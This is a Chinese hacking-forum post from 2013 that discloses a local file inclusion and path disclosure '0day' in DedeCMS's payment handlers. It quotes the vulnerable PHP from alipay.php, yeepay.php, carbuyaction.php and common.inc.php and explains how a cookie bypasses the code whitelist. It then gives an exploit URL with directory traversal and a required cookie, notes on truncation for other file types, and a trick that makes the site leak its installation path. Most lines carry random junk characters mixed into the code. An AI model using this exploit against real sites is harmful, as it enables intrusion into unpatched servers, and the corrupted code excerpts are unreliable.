找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1996|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
+ p$ W" u  Q2 ]! C( E3 l5 g: c
0 Q/ ]. e7 a0 |& J  `6 O出现漏洞的两个文件为:' _# Z; A6 o8 P. h
Include/payment/alipay.php5 T) Z4 V- l& _" X
Include/payment/yeepay.php- n  `2 `& J, _% F+ b/ I( r% J
漏洞均出现在respond方法里,估计这两个文件是临时工写的。% \/ j' l0 B- E2 \$ o
* p' M7 g9 n1 b3 `
Include/payment/alipay.php
/ E, \1 ~. E+ d3 O) L: S' j+ w
$ X7 G- S2 {: i2 u$ z6 X8 o* [7 M......
9 u0 e# z. j& J# z9 p   function respond()  w: u* U# E% X( u
    {
7 U$ Z6 l2 x* Z2 r8 `* }% x. O        if (!empty($_POST))
$ U7 Z. c0 D) k* [6 I/ c        {
8 ]8 y0 L  {9 K1 Z            foreach($_POST as $key => $data)
. m1 k' v) U  p& K$ |            {3 h% C) g  d) u% u' K6 w6 u* \
                $_GET[$key] = $data;- D0 [% Y' q, k
            }
) d% E& I$ L7 K: e3 t/ c/ u7 }) p% H        }
9 q% p1 D0 ~) @: j6 Y8 B        /* 引入配置文件 */0 L. |0 N' Y, K( A) }
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
! p4 b5 f& e3 q; C4 u- S...... $ ?& M6 E: f7 |  G
3 \: j: @0 X  H* u: P% k& x
. [# Z( P# y& Y  n0 i0 O* h4 Q  p
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
5 |" }  q% }5 H7 K. U% ^1 x% @7 [9 d* `/ [) m! b$ k, d$ b8 {
Include/payment/yeepay.php+ _$ B$ M* l# H( A
( M" G3 h. _% \
$ i( `, m% ^% T7 E4 W/ e
! D' h+ P+ D" ~! e& ~6 k5 z0 I$ v7 K
......
" Y' h. J, e, ]' V& o7 {/ }    function respond()( v5 k6 c- c9 h( n# C7 f; g$ [
    {
4 c9 ~( t8 M$ e 3 n+ z5 \9 k. Y, ~! j& ]1 F: D7 r+ Q
        /* 引入配置文件 */
3 W6 C3 f1 |' {7 q; b, o        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';$ I7 h5 Z0 ?5 y& g) R$ }% t
! U- O7 ^8 x( {% c2 g; R
        $p1_MerId = trim($payment['yp_account']);
; e& q4 ?1 Y* k) F/ G        $merchantKey = trim($payment['yp_key']);
3 g" A# {( W0 e& L) [......
6 Y. a1 @' G" f7 {3 V. c0 h3 W ! A: i# ?# b  V

: c% M! e; C- n  M! w & t( a# v* W# t( i/ S7 o% k

+ l* g' ~5 a* m2 d! |大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
% L! L$ n. a1 H, M( ~) T# z1 m; q+ n1 H6 E
这两个方法在plus/carbuyaction.php文件调用。
2 }& p' E% [( d" W( Y9 ~8 t2 a) z1 b; o3 J, h
plus/carbuyaction.php
3 n& f0 T3 f' }
. K1 u! K9 G4 w& @9 s2 [& M......
3 r" C' {5 R2 l4 N1 R} else if ($dopost == 'return') {
  v4 B0 x& k1 m: w7 e" ^    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
& `- v+ v; y: X: D    if (in_array($code, $write_list))1 u' o# ?9 m5 r' O# ?6 r. f
    {
4 w/ ~3 i6 W( d        require_once DEDEINC.'/payment/'.$code.'.php';
) h: g' N5 N8 Y2 p        $pay = new $code;
) g" ^$ n( |0 P3 \        $msg=$pay->respond();
. j% U7 f9 R6 \! u0 K! P5 C' N, C        ShowMsg($msg, "javascript:;", 0, 3000);
" G8 }/ a$ h  h3 C2 k# }6 J        exit();  # \; j! \3 X0 i+ n2 e+ c
    } else {# A- N8 x# `5 }; Z6 u
        exit('Error:File Type Can\'t Recognized!');
3 i! V! d3 F( k# V/ `/ B; i    }
2 T3 c! c# U) a3 u' R}
- X3 `1 _5 t/ X$ r...... 0 Q( b8 `% L. B) e) L
# P6 @) f5 Q. |6 C' J
0 Z* L% }! n* ~# P# R3 ~7 l5 R
: r2 C5 Z% n" c. Z/ p
7 @7 w) P  ?: J8 C$ C

* K6 G$ R- k5 _* v0 n5 @% S/ @8 e" q- u& J
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。2 B/ @# _6 D  J, A- r
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。0 X% l& M1 ?! d1 B$ e$ F
, d: j: u+ h( e% M6 h7 ~2 n( n
回到include/common.inc.php来看看他的机制。
$ F8 ~$ \5 U+ p1 n" e0 F" [
: _. C; y9 Q' E/ O/ C
8 K- Z$ Q/ m: @/ y8 x! \1 A
/ R' }7 r( q# U' j% R: z6 T......6 q8 v* r; J0 A8 l, a2 {" J+ O) \
foreach(Array('_GET','_POST','_COOKIE') as $_request); A: z: @) `8 J* j
{. B4 q( z8 V  X# s
        foreach($$_request as $_k => $_v)
* F- Q* N- m$ b+ {. C$ M        {
( o' H# K5 k# O- Z7 X5 @                if($_k == 'nvarname') ${$_k} = $_v;
/ G, y5 D6 m: M% P: P                else ${$_k} = _RunMagicQuotes($_v);
( h; X& J2 f& I6 ?" z( }) c3 j        }3 X# j! r# u$ p! z" w
}: ]* q0 g5 q+ U+ c
...... 3 c& f9 G+ B2 v& v$ I/ n
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
4 e. ]" I- _+ d- T) e5 V由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表